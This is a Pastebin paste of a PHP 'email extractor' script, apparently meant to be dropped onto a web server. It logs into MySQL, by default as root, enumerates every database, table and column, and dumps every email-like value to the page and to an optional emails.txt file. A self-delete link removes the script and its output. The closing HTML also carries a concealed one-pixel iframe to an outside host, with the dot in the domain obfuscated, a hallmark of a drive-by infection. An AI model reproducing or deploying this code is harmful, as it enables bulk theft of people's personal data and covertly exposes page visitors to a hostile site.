ToKeiChun

Database Email Extractor V.1

Oct 2nd, 2019 (edited)
2,186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.51 KB | None | 0 0
  1. <?php
  2.     @set_time_limit(0);error_reporting(0);
  3.     echo '<html><head><title>GET EMAIL WEBSITE</title></head><body><center><pre id="sbz">Email extractor by T3N38R15</pre><div class="box" align="left"><center>';
  4.     if(!empty($_GET["rm"])){unlink('emails.txt');unlink(basename($_SERVER['PHP_SELF']));echo '<script> alert("email file deleted");window.location="'  . $_SERVER["PHP_SELF"] . '";</script>';}
  5.     if(!empty($_POST["server"])){
  6.         $vr=false;if(!empty($_POST["filesf"])){if($_POST["filesf"]=="on"){$vr=true;}}
  7.         if($vr==true){ignore_user_abort(true);$fh = fopen("emails.txt", 'w') or die("can't open file " . getcwd() . '/emails.txt');}
  8.         mysql_connect($_POST["server"], $_POST["user"], $_POST["pw"]) OR die("not connected");
  9.         $res1 = mysql_query("SHOW DATABASES");
  10.         echo '<textarea style="width:98%;" rows="25">';
  11.         while ($row1 = mysql_fetch_assoc($res1)) {
  12.             $res2 = mysql_query("SHOW TABLES FROM " . $row1['Database']);
  13.             while ($row2 = mysql_fetch_assoc($res2)) {
  14.                 $res3 = mysql_query("SHOW COLUMNS FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
  15.                 while ($row3 = mysql_fetch_assoc($res3)) {
  16.                     if(strstr($row3['Field'], "email")) {
  17.                         $res4 = mysql_query("select " . $row3['Field'] ." FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
  18.                         while ($row4 = mysql_fetch_assoc($res4)) {if(!empty($row4[$row3['Field']])){if(strstr($row4[$row3['Field']], "@")){echo $row4[$row3['Field']] . "\n";if($vr==true){fwrite($fh, $row4[$row3['Field']] . "\n");}}}}
  19.                     }
  20.                 }
  21.            
  22.             }    
  23.         }
  24.         echo '</textarea>';
  25.         if($vr==true){fclose($fh);echo '</br><a href="emails.txt">Click Sini Hasil Extractor!</a><span style="padding: 0 20px;"></span><a href="' . $_SERVER["PHP_SELF"] . '?rm=1">Hapus File Email</a>';}
  26.     }else{
  27.         echo '<form method="POST"><table><tr><td>Server : <input type="text" name="server" value="localhost"\></td></tr><tr><td>User : <input type="text" name="user" value="root"\></td></tr><tr><td>Password : <input type="text" name="pw" value=""\></td></tr><tr><td>Save-to-file : <input type="checkbox" name="filesf"\></td></tr><tr><td><input type="submit" value="send"\></td></tr></table></form>';    
  28.     }
  29.     echo '</center></div></center><iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
  30. </body></html>';
  31. ?>
Add Comment
Please, Sign In to add comment